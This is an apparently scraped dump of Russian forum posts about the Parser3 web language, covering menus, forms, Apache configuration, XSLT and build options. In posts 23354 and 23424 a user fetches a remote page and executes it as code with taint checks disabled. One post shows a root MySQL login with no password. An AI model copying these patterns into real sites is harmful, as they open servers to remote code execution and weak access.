"23335","ответ на этот вопрос есть в огромном количестве на этом форуме по поиску МЕНЮ. Но вот только  о парсере я знаю еще меньше чем человек услышавший о нем из сна соседа. Да и разбираться с ним времени мало. Я делаю что могу, но конечноже разработчики слукавили, что парсер подойдет всем и даже не программистам :-(. Ну да ладно. вот сижу и никак не въеду как сделать меню с подменю слева в каждом разделе. Сразу хочу предупредить что я знаю что в БД это все лучше получится. только она, тоесть БД, намного умней меня и с таким глупым дружить не хочет. Надо на парсере. \
Все что у меня получилось так это создание в каждом каталоге сайта своего auto.p и section.cfg \
Если в файлах section.cfg  в каждом каталоге указывать относительные ссылки то ничего не получается, есди же указывать абсолютные начиная с главной/раздел/подраздел/... то нафига вообще все затевать...\
Короче запутался полностью помогите ктонить. \
Для тех кто думает что хочу халяву. ДА ХОЧУ ХАЛЯВУ иначе башка лопнет, забыл про молодую красивую жену, ребенка, скоро о работе забуду - сижу с парсером мучаюсь. \
ПОМОГИТЕ КТОНИТЬ!!!"
"23336","Просто, красив и втупую - построить XML со структурой меню. Определить либо в документе, либо прямо в авто.пи алгоритм, который будет вычислять необходимый узел и выводить из него подпункты. Далее с чувством собственного всемогущества развлекаться с XSL.\
\
Второй вариант - цээфгешка для первого уровня меню, в кажой строке таблицы прописывается (да!) цээфгэ для меню второго уровня. В автопишнике опять пишем алгоритм, к-рый раскрывает только нужное подменю. Таким образом имеем mainmenu.cfg, submenu1.cfg...и так далее.\
\
Структура mainmenu.cfg:\
\
uri label submenufile ... далее по вкусу.\
\
Дальше генерить?"
"23339","красивый обратно совместимый синтаксис в духе parser предложите, подумаю."
"23340","есть файл index.html - там есть вызов функции из файла auto.p.\
В этой функции рисуется форма для ввода данных.\
Обычно (в примерах, в форуме) после описания формы идет что-то типа:\
^if(def...){}\
т.е. если что-то заполнили и нажали кнопку - выполняется код в {}.\
У меня же в генерируемых формах все поля являются не обязательными для заполнения. \
КУДА В ЭТОМ СЛУЧАЕ ПИСАТЬ КОД ОБРАБОТКИ?"
"23342","собрал вам parser в safe mode, не указав явно разрешённый sendmail.\
\
он позабыл задать опцию у configure\
[code]\
./configure \"--with-sendmail=/usr/sbin/sendmail -i -t -f postmaster\" ...\
[/code]"
"23343","Постараюсь помочь.\
Как я понимаю,ваш сайт разбит на разделы.\
Каждый раздел содержится в своем\
подкаталоге в котором есть файл auto.p\
и section.cfg. В section.cfg описано содержание\
раздела (именно того, в подкаталоге которого он находится).\
\
Правильно я понимаю?\
\
Задача сформулирована, скажем так, размыто.\
Нужно уточнить.\
Итак, вопросы к вам:\
\
1. Что нужно выводить в верхнем меню?\
Варианты ответа:\
а) содержание основного раздела\
б) содержание текущего раздела\
в) другое (тогда что)\
\
2. Предположим, что раздел содержит подразделы.\
Что вы напишите в файле section.cfg раздела про подразделы?\
Варианты ответа:\
а) ничего. там описаны только документы в разделе\
б) название раздела и ссылку (относительную) на страницу\
по умолчанию в разделе.\
в) что-то другое?\
\
3. Что нужно выводить в меню слева?\
Варианты ответа:\
а) содержимое (карту) всего сайта\
б) содержание только тех разделов в которых\
находится либо сам текущий документ либо родительские разделы\
раздела содержащего текущий документ.\
Например, выводим документ /животные/хомяки/питание/любимый_завтрак.html\
\
Тогда выводим содержимое основного раздела (/),\
раздел животные выводим в раскрытом виде с содержимым,\
в нем раздел хомяки раскрываем и т.д.\
Как в проводнике :)\
в) как по-вашему?\
\
Описывать решение для всех комбинаций возможных ответов\
мне лениво. То есть, не настолько мне вас жалко.\
Так что выбирайте, что нужно. Возможно, в процессе выбора\
вы самостоятельно решите задачу :)\
\
Удачи! И привет жене с ребенком :)"
"23344","Я брал скомпилированный Parser с www.egoroff.spb.ru\
Так как c этого сайта (www.parser.ru) они на хостинге не работают(там стоит версия FreeBSD меньше 4.8), а у Александра Егорова устанавливаются нормально.\
Большое спасибо."
"23345","попробуй через exslt:\
http://exslt.org/dyn/functions/evaluate/index.html"
"23346","У кнопки же тоже есть поле name.\
[code]\
<input type=\"submit\" name=\"название_кнопки\" value=\"123\"/>\
[/code]\
Если несколько кнопок, их можно по имени отличать.\
Самый простой пример. Проверил, работает :)\
[code]\
<form>\
<input type=\"submit\" name=\"название_кнопки\" value=\"123\"/>\
</form>\
^if(def $form:название_кнопки){ ...\
код обработчика }\
[/code]\
Как видите полей ваще нет!"
"23347","Спасибо!!!"
"23348","Тогда вот вам простенькое решение.\
\
Вот таблица с информацией о вашем меню:\
\
номер > название > ссылка\
1     > Обо мне  > /about/\
2     > Тексты   > /texts/\
\
Добавьте туде ещё столбец \"родительская реплика\"\
\
номер > родитель > название > ссылка\
1     > 0        > Обо мне  > /about/\
2     > 0        > Тексты   > /texts/\
3     > 2        > Нетленка > /texts/netlenka/\
\
Пробегаете menu по строкам таблицы, у которой родитель = 0.\
Дальше, *внутри* этого menu пробегаете уже по строкам таблицы, где родитель = номер текущей строки."
"23349","сделайте форму с input type=\"text\" и кнопкой, затем в IE введите что-нить в поле text и нажмине ENTER…\
\
если будете анализировать кнопку - обломаетесь"
"23350","поэтому попытаюсь показать вам корень проблемы, и как им пользоваться.\
\
Ваш образ мышлкния больше похож на образ мышления литератора, верующего, может быть даже полтика.\
Заключается проблема в том что вы знаете чего хотите (например меню), но сформулировать, нарисовать чётко изложть неможете.\
Для начала я порекомедовал бы вам написать пару алгоритмов из жизни.\
Например\
1) Как вы собираетесь на работу\
2) Как вы ложитесь спать\
3) Подготовка рабочего места к работе\
После написания, чётко действие в действие выполнить, если неполучится значит надо переписать алгоритм и попробовать заново.\
Ещё, вероятно будет полезным, почитать какую - нибудь детскую книжку по программированию особое внимание обратив на раздел алгоритмы.\
\
Да кстати вот обратная сторона медали, человек описывает пьюнку парсерным кодом http://www.parser.ru/forum/?id=18576 ."
"23351","я собирал вообще без --with-sendmail=... т.к. с ней не получилось по причине того, что не знал что надо кавычки ставить, теперь знаю, но пересобирать лениво, а сам пользуюсь версией без --safe-mode"
"23352","и чтобы его выключить, нужно это явно говорить:\
[code]\
./configure --disable-safe-mode ...\
[/code]\
\
возможно, потом добавлю warning \"вы не задали sendmail, могут быть проблемы\""
"23353","во всяком случае я, с тех пор как начал пытаться собирать парсер, для  его выключения всегда писал --disable-safe-mode\
\
А с предупреждением про sendmail хорошая мысль."
"23354","пардон, конечно, парсер токас сегодня начал юзать\
делаю такую штуку\
$url[http://www.parser.ru/forum/?id=23335]\
$file[^file::load[text;$url;$.timeout(15)]] \
^process{^taint[as-is][$file.text]}\
\
но по какой-то странной причине получаю то, что находится не на http://www.parser.ru/forum/?id=23335, а на http://www.parser.ru/forum/\
\
в чем тут загвоздка?"
"23355","разобрался...\
можно параметры в uri класть"
"23356","Существует файл, в котором таблица, но есть одно [b]но[/b] таблица разделена [b];[/b], как из нее выбрать данные."
"23357","Друзья, спасибо за отклик, только жалеть меня не надо!!!\
Мне нужна помощь а не нравоучения..."
"23358","Ответы на вопросы:\
1 в верхнем меню выводить основные разделы сайта\
2 в в файле section.cfg раздела про подразделы я пишу название подразделов и относительную ссылку к ним\
3 в левом меню каждого раздела должно быть меню по текущему разделу описанное в section.cfg раздела. (это могут быть как страницы этого раздела, так и подподразделы текущего раздела.\
\
Большая просьба жалеть не надо, если желаете помогите,если же нет, и на том благодарен.\
Спасибо за привет семье"
"23359","Т.е. открываем как строку, заменяем все \";\" на \"\\t\", сохраняем, открываем как таблицу."
"23360","Такая трабла: никак не могу получить в месте вызова ^get_lang[alert;msg] хэш $msg. Он рождается в том месте, где ОБЪЯВЛЕН метод, а не где он ВЫЗЫВАЕТСЯ.\
[code]\
@get_lang[file;hash]\
$vars[^table::load[^file:find[${config:dir.lang}^api:lang[]/${file}.lang]]]\
$[$hash][\
	^vars.menu{			\
		$.[$vars.name][^untaint{$vars.value}]\
	}\
]\
[/code]\
\
Попытки вызвать его как статический или динамический ничего не дают.\
Может, сделать так?\
[code]\
$msg[^get_lang[alert]]\
[/code]\
Но тогда ессно для меня не придумывается, как реализовать метод."
"23362","http://www.parser.ru/docs/lang/stringmatchreplace.htm\
http://www.parser.ru/docs/lang/stringreplace.htm"
"23363","вот мой код \
[code]\
$uChat[^file::load[binary;../cgi-bin/data/online.dat]]\
$u_Tabl[$uChat.text]\
$u_Tabl[^u_Tabl.match[(^;^;)][g]{	}]\
$uTab[^table::create{key	time	id	name	sex\
$u_Tabl} \
]\
^uTab.menu{\
$uTab.name\
}[<BR>]\
[/code]\
но исходный файл в UNIX формате и код работает неправильно а если исходный файл перевести в Windows формат то все ок\
Проблемма с переводом сторок. как лечить."
"23365","Если по поводу\
[code]\
^if(^uri.match[\\.$ext^$]){...} стоит заменить на\
^if($ext eq ^uri:justext[]){...}\
[/code]\
то второй вариант - быстрее работать будет"
"23366","Почему не надо ставить пробел перед описанием локальных переменных? В смысле - в чем разница, если я напишу вот так\
[code]\
@func1[param] [var]\
    $var[bla-bla-bla]\
[/code]\
или же вот так\
[code]\
@func2[param][var]\
    $var[bla-bla-bla]\
[/code]"
"23367","далее:\
- хорошо-бы не отваливаться по ошибке если файла нету...\
- зачем использовать промежуточные переменные для текста?\
- зачем использовать запоминание в матч (круглые скобки) когда оно только отжирает память и тут не нужно?\
- и вот тут как раз taint нужен... а его нет...\
- путь к загружаемому файлу какой-то неправильный. точнее судя по тому, что он начинается с .. он относительный, но судя по тому, что идет ../cgi-bin/ наверное предполагается, что все это будет жить \
вне веб пространства. диагноз: работать будет только при обращении из корня, иначе надо поставить в начале '/'\
\
[code]\
^try{\
	$f[^file::load[text;/../cgi-bin/data/online.dat]]\
	$uTab[^table::create{key	time	id	name	sex^#0A^taint[as-is][^f.text.match[^;^;][g]{	}]}]\
}{\
	$exception.handled(1)\
	<p>Ну не шмагла, не шмагла...</p>\
}\
^uTab.menu{\
	$uTab.name\
}[<br />]\
[/code]"
"23369","Пробовал и так, пытался разбивать адрес на части, но это не проходит. Правда, может быть я где-то допустил ошибку:\
\
articles.xsl\
\
<?xml version=\"1.0\" encoding=\"Windows-1251\"?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
<xsl:param name=\"num\" />\
<xsl:template match=\"/\">\
<xsl:value-of select=\"//article[@id='a($num)']\" />\
</xsl:template>\
</xsl:stylesheet>\
\
article0003.html\
......\
$transformedDoc[^sourceDoc.transform[articles.xsl][$.num[3]]]\
......"
"23370","Пожалуйста, помогите разобраться...\
\
Установил дома parser3_1_1.(модуль Apache) на Apache 1.3.29 (под Windows). \
При запуске Apache в окне \"Start Apache in Console\" видна строка:\
 \"Apache/1.3.29 (Win32) Parser/3.1.1 running...\"\
т.е. вроде бы все нормально, но при открытии _test.html и др.\
через свой браузер коды на Parser не обрабатываются.  \
Вроде бы все сделал правильно по файлу readme.txt и \
смотрел страницу по установке с данного сайта.\
\
Показываю, что я сделал в файле httpd.conf:\
\
после строк LoadModule:\
# динамическая загрузка модуля \
LoadModule parser3_module D:\\Apache\\Parser3\\ApacheModuleParser3.dll\
\
после строк AddModule:\
# добавление модуля к списку активных модулей \
AddModule mod_parser3.c \
\
в этом же httpd.conf в секции <virtualhost ...> вписал блоки: \
# назначение обработчиком .html страниц \
AddHandler parser3.1.1-apache_1.3.29-win32-x86-no_src.exe html\
(в данной строчке я изрядно помучился чтобы Apache не выдавал ошибку,\
может быть все равно неправильно)\
\
# задание Конфигурационного файла\
ParserConfig D:\\Apache\\Parser3\\auto.p \
\
# запрет на доступ к .p файлам. основной: auto.p \
<Files ~ \"\\.p$\"> \
Order allow,deny \
Deny from all \
</Files"
"23371","Прочитал всё, что было про dyn:evaluate, показалось, что это выход. Но у меня не выходит настроить, хотя перечитал весь howto.html. Буду рад любому правильному примеру.\
\
Вот мой xsl (пока без передачи переменной, хотя бы разобраться с div:evaluate)\
\
<?xml version=\"1.0\" encoding=\"Windows-1251\"?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\
xmlns:dyn=\"http://exslt.org/dyn\"\
extension-element-prefixes=\"dyn\">\
<xsl:template match=\"/\">\
<xsl:value-of select=\"dyn:evaluate(//article[@id='a3'])\" />\
</xsl:template>\
</xsl:stylesheet>\
\
Выдаёт:\
\"Unhandled Exception (Debug)\
xmlXPathRunEval: function evaluate not found\
Error Y:\\gnome\\libxml2-2.4.12\\xpath.c:9297: Unregistered function\"\
\
В howto еще советуют проописать что-то вроде <xsl:import href=\"math.min.xsl\" /> но для dyn:evaluate такого файла в их архиве не оказалось.\
\
Подскажите, как правильно этот dyn:evaluate использовать."
"23372","А как же файл .htaccess в www директории?\
Он должен содержать: назначение Парсера обработчиком .html страниц:\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe"
"23373","Похоже, что нэймспэйс не верно прописан, надо:\
\
<xsl:stylesheet version=\"1.0\"\
	xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\
	xmlns:dyn=\"http://exslt.org/dynamic\"\
	extension-element-prefixes=\"dyn\"\
>\
\
импортировать, в данном случае, ничего не надо."
"23374","Так где же этот файл? Не могу его найти.\
Очень прошу объяснить мне где это мое веб пространство?\
В файл httpd.conf занес строки для разрешения использовать .htaccess (как показано в инструкции):\
<Directory /путь/к/вашему/веб/пространству> \
AllowOverride FileInfo \
</Directory> \
Только наверно не правильно заполняю первую строчку,\
т.к. не знаю путь к данному пространству.\
Да, и еще, в док. по установке сказано, что вместо\
файла .htaccess можно использовать httpd.conf,\
но правда строки, которые вы мне привели там не встречаются."
"23375","Его надо самому создать :)\
А вообще я так понял , что вы начинающий, поэтому хочу порекомендовать  проект Денвера: http://web.dklab.ru\
\
А вот, что это такое (привожу пример из readme):\
\
Предлагаемый  комплекс  программ позволяет запустить полноценный веб-сервер\
Apache  с  поддержкой  PHP,  Perl  и сервер MySQL на машине, работающей под\
управлением  MS  Windows 95/98/Me/NT/2000/XP. Как правило, при установке не\
требуется   никакой   настройки,   комплекс   может   использоваться   даже\
неподготовленными  пользователями.  Тем не менее, он может найти применение\
не  только  для  обучения  азам  веб-программирования,  но  и  для  отладки\
интерактивных  сайтов, программ, использующих базу данных MySQL, написанных\
на языках PHP и Perl.\
\
Имеется версия с Парсером!"
"23376","А вы с чего мне посоветуете начать? С PHP или Parser...\
И есть ли какие-либо минусы в Денвере?"
"23378","image-magiсk (прошу прощения если ошибся в написании) не работает (покрайне мере у меня не получилось, в фоуме видел аналогичные проблемы без решения)"
"23379","Договорились, жалеть не буду :)\
Я вас хорошо понимаю. Бывает так, что\
результат нужен вчера, а разбираться будет\
время только через год.\
\
А это ничего, что в корневом разделе левое\
и верхнее меню будет совпадать?\
\
Договоримся обозначать / - корень сайта.\
\
Предлагаю:\
\
1. В /auto.p написать метод формирующий верхнее\
меню. В нем нужно загружать файл section.cfg\
по абсолютному пути ^table::load[/section.cfg].\
\
2. Там же написать метод формирующий левое меню,\
но загружать в нем section.cfg уже по пути относительному\
(^table::load[/section.cfg]).\
\
3. Например, можно сделать так. В файле auto.p описываем\
метод main.\
\
[code]\
@main[]\
    ^root_menu[^table::load[/section.cfg]]\
    ^section_menu[^table::load[section.cfg]]\
\
    <html>\
        <head>\
        ...\
        <title>^title[]</title>\
        </head>\
        <body>\
        ...\
        ^root_menu.menu{\
            формируем верхнее меню\
        }\
        ...\
        простой пример\
        <table border=\"0\" width=\"100%\">\
        <tr>\
            <td width=\"30%\">\
                ^section_menu.menu{\
                    <a href=\"$section_menu.uri\">$section_menu.title</a>\
                }[<br/>]\
            </td>\
            <td width=\"70%\">\
                ^body[]\
            </td>\
        </tr>\
        </table>\
        ...\
        </body>\
    </html>\
[/code]\
\
В каждом html файле нужно определить метод @body[],\
в котором выводить текст страницы.\
И метод @title[], который возращает заголовок страницы.\
\
Думаю, что на начальном этапе\
вас такой вариант может устроить."
"23380","Опечатка\
В пункте 2 нужно, конечно ^table::load[section.cfg]"
"23382","Например:\
\
[code]\
@get_lang[file][hash]\
$vars[^table::load[^file:find[${config:dir.lang}^api:lang[]/${file}.lang]]]\
$hash[^hash::create[]]\
^vars.menu{			\
	$hash.[$vars.name][^untaint{$vars.value}]\
}\
$result[$hash]\
[/code]\
\
Я попробовал более простой вариант с возвращением хэша,\
получилось. Насколько я понимаю, в $result можно вернуть\
все что угодно - любой объект."
"23383","Вам же явно ошибку указали:\
\
AddHandler parser3.1.1-apache_1.3.29-win32-x86-no_src.exe html\
\
Нужно\
AddHandler parser3-handler html \
\
И причем здесь /cgi-bin/parser3.exe,\
когда как Парсер подключен как модуль!!\
\
(Пожалуйста без обид :)"
"23385","Хи =)\
Есть исходники, нужно глянуть как Парсер цепляет функции из классов и переписать. Наверное там привязка к ][ и дальше цепляет локальные переменные, а пробел между - сбивает его с толку."
"23386","[quote]Есть исходники, нужно глянуть как Парсер цепляет функции из классов и переписать.[/quote]\
Хм, кому переписать?\
Хотя... Жесткий стандарт - это тоже хорошо. Если не забывать про него. А то ж - ни ошибки, ни предупреждения, а сразу тапки приходят при вызове функции."
"23387","Вопрос сродни такому:\
А если я напишу\
[code]\
@func3[param](var)\
^if(1 <> 2) { круто }\
[/code]\
почему это ошибка?\
Еще вопрос, почему нельзя ставить пробел между ) и {\
в операторе ^if? И таких вопросо много :)\
\
Подобные вопросы можно задавать про любой язык программирования.\
Думаю, что не нужно ничего переписывать, а достаточно просто\
запомнить синтаксис. Думаю, что подобрые ограничение\
в Парсере вполне обоснованы, иначе исходный текст невозможно\
будет корректно \"распарсить\"."
"23388","[code]\
@get_lang[file]\
$vars[^table::load[^file:find[${config:dir.lang}^api:lang[]/${file}.lang]]]\
$result[^hash::create[]]\
^vars.menu{\
  $result.[$vars.name][^untaint{$vars.value}]\
}\
[/code]\
\
$result - локальная переменная метода, с одной фичей, что если она определена то... ну вы знаете :)"
"23389","только он не имеет ни малейшего отношения к описанию локальных переменных...\
\
можно и так писать (кажется, сам не пишу):\
[code]\
@method[param] а тут краткий комментарий метода\
Насчитали: ^eval($param+2)\
[/code]"
"23390","заключается в том, что в нем стоит Парсер 3.0, 3.1.1 надо прикручивать ручками, но это просто. Даже я справился, правда тормознул из-за того, что не сообразил скачать xml библиотеки с этого сайта."
"23391","то намного красивее написать xsl и выводить трансформом."
"23392","Как раз таки для этой задачи:\
[quote]\
Есть xml документ, в нем есть один единственный узел query, в котором содержится текст некоторый ...\
[/quote]\
XSLT применять некрасиво - очень громоздко во-первых, а во-вторых получится скорее всего накладнее."
"23393","Как и где воткнуть $SQL.connect-string?\
--\
И какого вида она будет в Денвере?"
"23395","я не могу себя назвать профессионалом в DOM, но мне кажется, что этот метод, мягко говоря через $адниtsу .. \
Должен быть способ делать это быстрее и понятнее, вот только в голову чет не приходит :(\
\
Задача-то решена, просто вот думал, может кто идею подарит ...\
\
PS: selectString -- малек не то .. во всяком случае, мне так кажется .. если у меня уже есть узел. Зачем второй раз гонять xml-парсер, по всему документу.\
\
PPS:\
Про html вывод -- он тут ни при чем ..\
Нужно строку инициализировать."
"23396","в auto.p\
$connect_string[mysql://root@localhost/your_base_name]\
\
в *.html\
^connect[$connect_string]{\
...\
}"
"23397","Не очень понял:\
[quote]\
PS: selectString -- малек не то .. во всяком случае, мне так кажется .. если у меня уже есть узел. Зачем второй раз гонять xml-парсер, по всему документу.\
[/quote]"
"23398","Оно разное бывает, здесь подобно этому:\
\
Для поиска нужной строки среди 5-ти строчек, последовательный перебор однозначно быстрее и менее ресурсоёмок чем хэширование, однако для 1000 строк картина меняется на противоположную.\
\
Вообщем каждой задаче свой инструмент."
"23399","Узел query выбирается и нужен потом для работы именно как узел .. ну там в другое дерево запихнуть, напрмиер.\
\
Так, вот если узел уже есть, то зачем опять для вычисления его значения гонять по всему документту с XPath запросом?\
\
Может я и не прав .. :)"
"23401","чтобы люди могли найти поиском и порадоваться?"
"23402","в которой у ^table::load есть соответствующие параметры."
"23403","ключевое слово поиска по документации MySQL: \"load\"."
"23404","http://www.parser.ru/docs/lang/lesson4.htm\
\
И для упрощения вызывов\
http://www.parser.ru/docs/lang/lesson5.htm\
\
Ещй чтоб ^dbconnect{} неписать при каждом запросе то можно сделать так\
\
[code]\
@main[]\
^dbconnect{\
^page[]\
}\
[/code]\
\
в дальнейшем вместо [code]@main[][/code] пишишь [code]@page[][/code], но надо признать что юто оправдывет себя только если на каждой странице есть запросы к БД.\
\
Вообще по вопросу оптимизации(переносимости) БД\
http://www.parser.ru/examples/comp/\
\
ps: вообще доку, faq, примеры читать надо."
"23405","Создаю \"динамический модуль\" под Linux'ом (Debian).\
Сначала компилирую Парсер,\
потом с помощью apxs собираю модуль.\
\
[code]\
#!/bin/sh\
\
P3S=/home/software/parser3project/parser3/src\
\
P3LIBS=\"$P3S/main/libmain.a $P3S/classes/libclasses.a $P3S/types/libtypes.a $P3S/lib/ltdl/libltdlc.a $P3S/classes/gd/libgd.a $P3S/lib/cord/libcord.a $P3S/lib/pcre/libpcre.a $P3S/lib/md5/libmd5.a $P3S/targets/apache13core/libmod_parser3core.a\"\
LIBS=\"$P3LIBS -ldl -lgc -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic\"\
\
apxs -c mod_parser3.c $LIBS\
[/code]\
\
При попытке загрузить модуль получаю ошибку:\
[code]\
#apache-ssl -t\
Syntax error on line 246 of /etc/apache-ssl/httpd.conf:\
Cannot load /usr/lib/apache/1.3/mod_parser3.so into server: /usr/lib/apache/1.3/mod_parser3.so: underfined symbol: pa_init_socks__Fv\
[/code]\
\
Где я ошибся? Подскажите, пожалуйста, в чем может быть проблема?\
\
Спасибо!"
"23406","сейчас недосуг разбираться, просто найдите и удалите по исходникам parser строку\
[code]\
pa_init_socks();\
[/code]"
"23407","...потому как после удаления вызовов\
pa_init_socks (который нужен, насколько я понимаю,\
только в Windows) Apache ругается на вызов\
pa_globals_init, который идет сразу же\
после pa_init_socks.\
Постараюсь разобраться :)\
\
Спасибо!"
"23408","Точна, $result рулит. Тока надо результат метода присваивать переменной, чтоба потом к ней обращаться:\
[code]\
$msg[^api:get_lang[alert]]\
$nav[^api:get_lang[special/navigation]]\
^msg.add[$nav]\
[/code]\
Это я так в один хэш собираю нужные для вывода фразы на определенном языке. А сам метод упростился, как Misha и говорил:\
[code]\
@get_lang[file]\
$vars[^table::load[^file:find[${config:dir.lang}^api:lang[]/${file}.lang]]]\
$h[^hash::create[]]\
^vars.menu{\
	$h.[$vars.name][^untaint{$vars.value}]\
}\
$result[$h]\
[/code]"
"23409","…в данном слечае $h и $nav\
\
[code]\
$msg[^api:get_lang[alert]]\
^msg.add[^api:get_lang[special/navigation]]\
\
\
\
@get_lang[file][vars]\
$vars[^table::load[^file:find[${config:dir.lang}^api:lang[]/${file}.lang]]]\
$result[^hash::create[]]\
^vars.menu{\
	$result.[$vars.name][^untaint{$vars.value}]\
}\
[/code]\
\
P.S. и чем вы читали моё сообщение?…"
"23410","Есть сайт bar.net.ru Парсер расположен в /cgi-bin, все работает. Содержимое /.htaccess:\
\
[code]AddHandler parsed-html .html\
Action parsed-html /cgi-bin/parser3.cgi[/code]\
\
Хочу создать сайт foo.bar.net.ru. Создаю папку /foo, пытаюсь настроить обработку страниц \"родительским\" парсером. Содержимое /foo/.htaccess:\
\
[code]AddHandler parsed-html .html\
Action parsed-html /cgi-bin/parser3.cgi[/code]\
\
Выдаётся \"The requested URL /cgi-bin/parser3.cgi/index.html was not found on this server.\"\
\
Исправляю:\
\
[code]AddHandler parsed-html .html\
Action parsed-html /../cgi-bin/parser3.cgi[/code]\
\
Выдаётся \"The requested URL cgi-bin/parser3.cgi/index.html was not found on this server.\"\
\
Что делать? Можно, конечно, скопировать парсер в /foo/cgi-bin, тогда оба сайта будут его видеть. А если понадобится создать еще один поддомен?"
"23411","Я никогда не изучал программирование, начал вроде как изучать PHP , но на горизонте появился Парсер и про PHP я забыл :)\
Наверное я так и порекомендую сделать вам"
"23412","Но нет ли на нет.ру такой штуки как единый для всех поддоменов cgi-bin в дополнение к своим отдельным?"
"23413","причём нормально работают - проверял. Пример работы смотреть тут http://f1.egoroff.spb.ru/_test.html"
"23414","зато есть это http://www.parser.ru/forum/?id=23413"
"23415","Есть програмка design.pl,написанная уже дано и неизвесно кем\
Вызываясь по нескольку раз на страничке, она формирует заголовки и тд\
Програмке необходимо передать парамтры вида design.pl?design=menu_end&page=1\
Все это безобразие формировалось на ssi\
<!--#include virtual=\"/cgi-bin/...\" -->\
Как это сделать парсером просто ума не приложу.\
Подскажите, плз."
"23416","Это будет самым правильным решением в данной ситуации."
"23417","Для этого придется переписывать весь сайт, а платить за эту неблагодарную работу никто не будет\
Хранить элементы дизайна в двух местах и синхронно их изменять слишком большой гимор"
"23418","А если серьезно, то ламоботский вопрос:\
Что дает указание локальных переменных в объявлении метода?\
По-моему, что писать [vars], что не писать..."
"23419","У меня CLASS_PATH в корневом auto.p прописан как /. Все остальные пути - относительно него.\
Все работает, но если вызвать метод из /test/, который подключает файл file.txt по относительному пути, то этот файл ищется как /test/file.txt. Этот CLASS_PATH уже столько настроения и нервов потратил, а все равно с ним проблемы. Что я делаю не так?\
\
И еще: вызываю в /test/ ^lang:get[]. Он говорит, класс не определен. Но я же подключил уже в корневом auto.p, почему он не смотрит в него?"
"23420","Попробовал следующее: создал файл /link.php:\
\
[code]<?php symlink('cgi-bin','foo/cgi-bin'); ?>[/code]\
\
Теперь выдаётся \"Forbidden\
You don't have permission to access /cgi-bin/parser3.cgi/index.html on this server.\""
"23421","...что касается локальных переменных (что это такое и зачем они нужны) - то если вам лень почитать соответствующую литературу то может вам кто-нить и объяснит зачем они нужны. но не я."
"23422","Может его процессор такое не поддерживает? Или у меня что-то не так. \
Что же делать? Уж очень хочется, чтобы заработало.\
\
Может быть есть рабочий пример из жизни?"
"23423","Сложно советовать разработчику...\
Просто возникла такая необходимость. И пока что даже обходными путями не выходит добиться желаемого.\
\
Неужели парсер, в который я так верю, не сможет справиться с таким пустяком? :)"
"23424","$url[http://www.parser.ru/forum/?^taint[as-is][$request:query]]\
\
$file[^file::load[text;$url;$.timeout(15)]] \
#$file.text это ежели нужно вывести этот самы текст\
это если хочется парсеровский форум у себя на сайте иметь и с него писать\
воможно придется кое-что поправить в полученном коде\
\
а не нужно было получить по хттп парсеровскую программу и исполнить ее\
^process{^taint[as-is][$file.text]} \
а загвоздки были:\
uri без taint query как-то не передавали\
и без taint-а же получаемая парсеровская прога не всегда выполнялась :-)\
\
я вообще на парсере писал всего один день, так что уж звиняйтэ\
таки сделал то что хотел"
"23425","я бы конечно на месте разработчиков немного хелп дополнил примерами и пояснениями\
если разработчики утверждают, что парсер не для программистов, то догадаться про перекодирование типа taint довольно сложно\
я уж про таймаут и т.п. вообще будет сложно\
а прочитать всю документацию (это если не получается сразу :)) и осознать ее - это уж извините не для широкой аудитории\
\
насчет асс. массивов я бы тоже по-подробнее остановился ... в хелпе...\
\
а вообщем,\
спасибо"
"23426","находясь в нужном каталоге foo:\
[code]\
ln -s ../www/cgi-bin cgi-bin\
[/code]\
ну или www убрать если у вас cgi-bin прямо в html лежит"
"23428","Что там сложного? Достаточно просто включить воображение.\
Всем мы пользуемся электронной почтой\
Все знаем что такое спам\
\
Как с ним бороться догадываемся все - достаточно просто создать черный список, реагирующий на появление черных слов.\
\
\
Каждое письмо будет проверяться на наличие неудобоваримых слов.\
Обнаружили плохое слово из списка - удаляем письмо! Это [b]taint[/b] фильтр\
\
\
Вдруг представим, что старый друг написал вам письмо, в котором употребил грязное словечко, рассказывая о своих любовных похождениях\
Его письмо будет удалено?\
НЕТ! Ведь вы добавили фильтр, благодаря которому письма от ваших товарищей не будут проверятся на спам. Их письма - то, чему можно доверять, как написанному собственными руками коду или словам родителей.\
Это [b]untaint[/b] фильтр."
"23429","скачал putty, ввел ln -s html/cgi-bin html/foo/cgi-bin -- та же форбидден. затем удалил, сделал cd html/foo, набрал ln -s ../cgi-bin cgi-bin Заработало! Не знаю, зачем нужно заходить в каталог (до этого SSH не трогал, сильно припрет -- разберусь)."
"23430","Простите за вопрос, но я так понял , что для ASP Linux? Подойдет Парсер, собранный под Red Hat?"
"23431","Как при помощи JavaScript взять url страницы, на которой мы в данный момент находимся, но не включая последнюю часть этого url. Т. е. если урл, например, http://localhost:8080/myApp/myFile.html, то в JavaScript нам нужно получить http://localhost:8080/myApp/ \
Спасибо."
"23432","Скачал я базовый пакет Денвера + Парсер , установил, но код Парсера все равно не обрабатывается?!\
И спасибо за совет, который дал VictorSmirnov, но только после этих исправлений еще есть какая-то ошибка, т.к. Парсер все-равно не обрабатывается...\
"
"23433","# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html html \
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.(p|cfg)$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
\
\
#больше я никаких проблем неиспытывал\
#Так что удачи\
#И незабывай в дальнейшем описывать ошибку, мы не телепаты ;)"
"23434","Большое спасибо, но теперь, при открытии страницы с Парсером(где используется макрос),\
в окне браузера появляется сообщение?!:\
\
[b]\"Unhandled Exception (Debug)[/b]\
[b](void) not a method or junction, can not call it[/b]\
[b]macro[/b]\
[b]z:/home/test1.ru/www/russian.html(4)[/b]\
[b]exception.type=parser.runtime\"[/b]\
\
Показываю что я открываю:\
файл [b]russian.html[/b]:\
<HTML>\
<HEAD><TITLE>Как с нами связаться</TITLE></HEAD>\
<BODY>\
^macro[my_phone;Наш номер телефона:]\
</BODY>\
</HTML>\
\
и к нему [b]идет macro.cfg[/b]:\
@my_phone[text_before_phone] \
<B><I>$text_before_phone</I> +7 (095) 229-85-23</B>\
\
Что у меня неправильно?\
\
\
\
"
"23435","Или как говорил ПАФ не раз прописать $SQL.connect-string в конфигурационном Auto.p"
